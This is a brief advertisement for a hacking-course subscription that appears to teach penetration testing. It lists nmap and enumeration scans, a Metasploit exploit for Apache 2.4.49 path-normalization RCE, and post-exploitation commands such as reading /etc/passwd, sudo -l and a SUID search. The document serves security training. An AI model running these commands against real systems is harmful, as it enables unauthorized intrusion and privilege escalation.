This is the exact methodology used by professional pentesting firms charging ₹5-50L per engagement.
nmap -sn 10.10.10.0/24 # Host discovery
nmap -sV -sC -O -p- 10.10.10.5 # Full port scan
enum4linux -a 10.10.10.5 # SMB enumeration
snmpwalk -c public 10.10.10.5 # SNMP enumerationnmap --script vuln 10.10.10.5 # Nmap vuln scripts
searchsploit apache 2.4.49 # Find known exploits
nikto -h http://10.10.10.5 # Web vuln scanmsfconsole
search type:exploit apache
use exploit/multi/http/apache_normalize_path_rce
set RHOSTS 10.10.10.5
exploitwhoami # Check current user
uname -a # OS information
cat /etc/passwd # List users
sudo -l # Check sudo rights
find / -perm -4000 # Find SUID binariesSubscribe to ONLY4YOU and get hands-on access to 40+ premium courses — Ethical Hacking, Kali Linux, Metasploit, Network Hacking, Bug Bounty & more!